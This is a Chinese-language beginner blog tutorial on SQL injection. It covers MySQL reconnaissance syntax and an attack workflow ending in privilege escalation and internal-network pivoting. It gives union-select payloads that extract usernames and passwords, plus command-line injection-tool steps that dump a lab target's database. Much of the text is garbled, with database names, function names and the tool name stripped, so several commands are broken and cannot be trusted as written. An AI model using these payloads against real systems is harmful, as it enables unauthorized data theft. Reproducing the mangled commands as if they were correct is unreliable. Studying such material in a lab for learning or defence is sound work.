sql注入安全问题/网络安全注入-入门渗透入门教程
前言
SQL 注入(SQL )是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
SQL 注入已经成为互联网世界 Web 应用程序的最大风险,我们有必要从开发、测试、上线等各个环节对其进行防范。下面博主将简单介绍 SQL 注入的原理及实战操作。
简介
什么是 SQL 注入?
通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。
对于 Web 应用程序而言,用户核心数据存储在数据库中,如 MySQL,SQL ,;
通过 SQL 注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制 Web 服务器等;
SQL 注入由研究员 Rain Puppy 发现,在1998年对外发表文章《NT Web 》;
SQL 注入即攻击者通过构造特殊的 SQL 语句,入侵目标系统,致使后台数据库泄露数据的过程;
因为 SQL 注入漏洞造成的严重危害性,所以常年稳居 OWASP TOP10 的榜首!
SQL 注入之后可以做些什么?
用户信息被泄露;用户信息被非法倒卖;危害企业,政府,国家安全;分类
以注入位置分类
以参数类型分类
以注入技术分类
基础语法
数据库操作
SQL作用
SHOW ;
显示 MySQL 的数据库列表;
USE ;
指定接下来要操作的数据库;
SHOW ;
显示该数据库的所有数据表;
SHOW TABLE FROM ;
显示该库中所有表的详细信息;
();
查看数据库管理系统的版本;
();
查看当前使用的是哪个数据库;
USER();
查看当前使用的用户;
@@
查看数据库的数据路径;
@@
查看数据库的安装路径;
@@
查看操作系统的版本;
数据表操作
数据操作
插入:
查询:
删除:
注入流程
判断是否有 SQL 注入漏洞;
判断操作系统和数据库类型;
获取数据库信息;
加密信息破解;
提升权限;
内网渗透;
手动注入
布尔注入
闭合 SQL 语句,构造 or 和 and 逻辑语句、注释多余的代码;
union
查询数据库
查询数据表
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
GET 方法注入
POST 方法注入
采用 // 等代理工具,拦截 POST 请求内容,将 POST 请求内容保存到 post.txt 文件中,并让 调用,设置到带 才能访问的注入页面,则可以采用 -r 参数来实现;
带 参数注入
-u "url" =" " --dbs
混淆注入
用于绕过或识别 WAF/IDS/IPS;
数据获取
-r /root//post -- -D "数据库名" 查看当前数据库的数据表;
实战
打开靶机,进入靶场,发现是 get 传参,
启动 ,指定传参 name,看看有没有注入点, -u "http://192.168.16.137/sqli/.php?name=root" -p name;
获取到相应信息,可以进行 SQL 注入,先查看所有的数据库 -u "http://192.168.16.137/sqli/.php?name=root" -p name --dbs,
有两个数据库,分别为 和 ,查询 数据库, -u "http://192.168.16.137/sqli/.php?name=root" -p name -- -D "",
只有一个 users 表,查看这个表的所有字段, -u "http://192.168.16.137/sqli/.php?name=root" -p name -- -T "users" -D "",
查看比较有用的三个字段 id,name,, -u "http://192.168.16.137/sqli/.php?name=root" -p name --dump -C "id,name," -T "users" -D "",
接下来就是该干嘛干嘛,不过建议点到为止;
后记
以上就是 【网络安全】浅识 SQL 注入 的全部内容了,简单的介绍了一些与 SQL 注入相关的内容,也讲解了在 SQL 注入中经常要用到的一些基础语法,注入流程等,同时结合实战,更加透彻的讲解了 SQL 注入,希望对大家有所帮助!
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~